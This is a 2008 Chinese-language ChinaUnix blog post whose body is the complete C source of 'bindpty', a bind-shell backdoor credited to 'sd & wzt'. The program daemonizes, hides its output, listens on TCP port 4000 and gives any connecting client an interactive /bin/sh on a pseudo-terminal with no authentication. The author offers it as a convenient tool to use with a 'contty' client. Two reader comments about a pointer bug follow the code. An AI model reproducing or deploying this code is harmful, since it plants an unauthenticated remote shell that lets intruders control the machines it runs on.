Chinaunix首页 | 论坛 | 博客
  • 博客访问: 450317
  • 博文数量: 15
  • 博客积分: 5010
  • 博客等级: 大校
  • 技术积分: 1196
  • 用 户 组: 普通用户
  • 注册时间: 2006-03-15 21:29
文章分类

全部博文(15)

文章存档

2008年(15)

我的朋友

分类: C/C++

2008-06-25 22:54:50

shell里没伪终端一定不爽吧, 2.4下有bintty, 2.6下呢, 当然有我的bindpty喽~
 
客户端还是用contty就可以了。
 
 

/*
    bindtty - like bindshell, but with tty
    Features:
        - it can handle any number of clients
        - allocates tty for each session
        - no using termios.h/tty.h: compiles on most of gccs
        - linux specific ;(

    by sd & wzt
*/


#include <sys/wait.h>
#include <sys/types.h>
#include <sys/resource.h>

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <termios.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <fcntl.h>
#include <stropts.h>
#include <errno.h>

#define DEBUG

#define MAXUSER 10
#define HOME "/tmp"

#define TIOCSCTTY 0x540E
#define TIOCGWINSZ 0x5413
#define TIOCSWINSZ 0x5414
#define ECHAR 0x1d

#define PORT 4000

#define BUF 32768

struct winsize {
        unsigned short ws_row;
        unsigned short ws_col;
        unsigned short ws_xpixel;
        unsigned short ws_ypixel;
};

int pty,tty;

/* to avoid creating zombies ;) */
void sig_child(int i)
{
        signal(SIGCHLD, sig_child);
        waitpid(-1, NULL, WNOHANG);
}

void hangout(int i)
{
        kill(0, SIGHUP);
        kill(0, SIGTERM);
}

int ptym_open(char *pts_name)
{
        char *ptr;
        int fd;

        strcpy(pts_name,"/dev/ptmx");
        if ((fd = open(pts_name,O_RDWR)) < 0) {
                printf("[-] open %s failed.\n",pts_name);
                return -1;
        }
        printf("[+] open %s : %d ok.\n","/dev/ptmx",fd);

        if (grantpt(fd) < 0) {
                close(fd);
                return -2;
        }
     printf("[+] grantpt ok.\n");

        if (unlockpt(fd) < 0) {
                close(fd);
                return -3;
        }
    printf("[+] unlockpt ok.\n");

        if ((ptr = ptsname(fd)) == NULL) {
                printf("[-] get free pts name failed.\n");
                close(fd);
                return -4;
        }

        strcpy(pts_name,ptr);

        return fd;
}

int ptys_open(int fd,char *pts_name)
{
        int fds;

        if ((fds = open(pts_name,O_RDWR)) < 0) {
                printf("[-] open %s failed.\n",pts_name);
                close(fd);
                return -5;
        }

    printf("[+] open %s ok.\n",pts_name);

        if (ioctl(fds,I_PUSH,"ptem") < 0) {
                return fds;
        }
        printf("[+] set ptem ok.\n");

        if (ioctl(fds,I_PUSH,"ldterm") < 0) {
        return fds;
        }
    printf("[+] set ldterm ok.\n");

        if (ioctl(fds,I_PUSH,"ttcompat") < 0) {
                return fds;
        }
    printf("[+] set ttcompat ok.\n");

        return fds;
}

int open_tty()
{
        char pts_name[20];

        pty = ptym_open(pts_name);

        tty = ptys_open(pty,pts_name);

        if (pty >= 0 && tty >=0 )
                return 1;
        return 0;
}

/* bind a local port */
int listen_port(int port)
{
    struct sockaddr_in my_addr,remote_addr;
    int sock_fd,sock_id;
    int size,flag = 1;

    if( (sock_fd = socket(AF_INET,SOCK_STREAM,0)) == -1 ) {
#ifdef DEBUG
        perror("[-] socket");
#endif
        exit(1);
    }

    my_addr.sin_family = AF_INET;
    my_addr.sin_port = port;
    my_addr.sin_addr.s_addr = 0;

        setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, (char*)&flag,sizeof(flag));

        if( bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr)) == -1 ){
#ifdef DEBUG
                perror("[-] bind");
#endif
                exit(1);
    }

    if( listen(sock_fd,MAXUSER) == -1 ){
#ifdef DEBUG
        perror("[-] listen");
#endif
        exit(1);
    }

    return sock_fd;
}

int main()
{
        int sock,port;
        int pid;
        struct sockaddr_in cli;

        port = PORT;
        sock = listen_port(htons(port));
        if (sock < 0)
                exit(0);
                
        printf("Daemon is starting..."); fflush(stdout);
        pid = fork();
        if (pid !=0 ) {
                printf("OK, pid = %d\n", pid);
                return 0;
        }

        chdir("/");

        pid = open("/dev/null", O_RDWR);
        dup2(pid, 0);
        dup2(pid, 1);
        dup2(pid, 2);
        close(pid);

        signal(SIGHUP, SIG_IGN);
        signal(SIGCHLD, sig_child);

        while (1) {
                int scli;
                int slen;

                slen = sizeof(cli);
                scli = accept(sock, (struct sockaddr *) &cli, &slen);
                if (scli < 0) continue;
                pid = fork();
                if (pid == 0) {
                        int subshell;
                        fd_set fds;
                        char buf[BUF];
                        char *argv[] = {"sh", "-i", NULL};
                        #define MAXENV 256
                        #define ENVLEN 256
                        char *envp[MAXENV];
                        char envbuf[(MAXENV+2) * ENVLEN];
                        int j, i;
                        char home[256];

                        /* setup enviroment */
                        envp[0] = home;
                        sprintf(home, "HOME=/tmp", HOME);
                        j = 0;
                        do {
                                i = read(scli, &envbuf[j * ENVLEN], ENVLEN);
                                envp[j+1] = &envbuf[j * ENVLEN];
                                j++;
                                if ((j >= MAXENV) || (i < ENVLEN)) break;
                        } while (envbuf[(j-1) * ENVLEN] != '\n');
                        envp[j+1] = NULL;

                        if (!open_tty()) {
                                char msg[] = "Can't fork pty, bye!\n";
                                write(scli, msg, strlen(msg));
                                close(scli);
                                exit(0);
                        }
                        setsid();
                        /* fork child */
                        subshell = fork();
                        if (subshell == 0) {
                                /* close master */
                                close(pty);
                                /* attach tty */
                                setsid();
                                ioctl(tty, TIOCSCTTY);
                                /* close local part of connection */
                                close(scli);
                                close(sock);
                                signal(SIGHUP, SIG_DFL);
                                signal(SIGCHLD, SIG_DFL);
                                dup2(tty, 0);
                                dup2(tty, 1);
                                dup2(tty, 2);
                                close(tty);
                                execve("/bin/sh", argv, envp);
                        }
                        /* close slave */
                        close(tty);

                        signal(SIGHUP, hangout);
                        signal(SIGTERM, hangout);

                        while (1) {
                                /* watch tty and client side */
                                FD_ZERO(&fds);
                                FD_SET(pty, &fds);
                                FD_SET(scli, &fds);
                                if (select((pty > scli) ? (pty+1) : (scli+1),
                                        &fds, NULL, NULL, NULL) < 0)
                                {
                                        break;
                                }
                                if (FD_ISSET(pty, &fds)) {
                                        int count;
                                        count = read(pty, buf, BUF);
                                        if (count <= 0) break;
                                        if (write(scli, buf, count) <= 0) break;
                                }
                                if (FD_ISSET(scli, &fds)) {
                                        int count;
                                        unsigned char *p, *d;
                                        d = buf;
                                        count = read(scli, buf, BUF);
                                        if (count <= 0) break;

                                        /* setup win size */
                                        p = memchr(buf, ECHAR, count);
                                        if (p) {
                                                unsigned char wb[5];
                                                int rlen = count - ((long) p - (long) buf);
                                                struct winsize ws;

                                                /* wait for rest */
                                                if (rlen > 5) rlen = 5;
                                                memcpy(wb, p, rlen);
                                                if (rlen < 5) {
                                                read(scli, &wb[rlen], 5 - rlen);
                                        }

                                        /* setup window */
                                        ws.ws_xpixel = ws.ws_ypixel = 0;
                                        ws.ws_col = (wb[1] << 8) + wb[2];
                                        ws.ws_row = (wb[3] << 8) + wb[4];
                                        ioctl(pty, TIOCSWINSZ, &ws);
                                        kill(0, SIGWINCH);

                                        /* write the rest */
                                        write(pty, buf, (long) p - (long) buf);
                                        rlen = ((long) buf + count) - ((long)p+5);
                                        if (rlen > 0) write(pty, p+5, rlen);
                                } else
                                        if (write(pty, d, count) <= 0) break;
                        }
                }
            close(scli);
            close(sock);
            close(pty);

            waitpid(subshell, NULL, 0);
            vhangup();
            exit(0);
        }
        close(scli);
    }
}

阅读(5186) | 评论(2) | 转发(0) |
给主人留下些什么吧!~~

chinaunix网友2008-06-27 11:14:36

代码修正了, 谢谢

chinaunix网友2008-06-27 09:49:12

int ptym_open(char *pts_name) { char *ptr; int fd; strcpy(pts_name,"/dev/ptmx"); ... int open_tty() { char *pts_name; pty = ptym_open(pts_name); 可以直接往一个指针里cpy东东?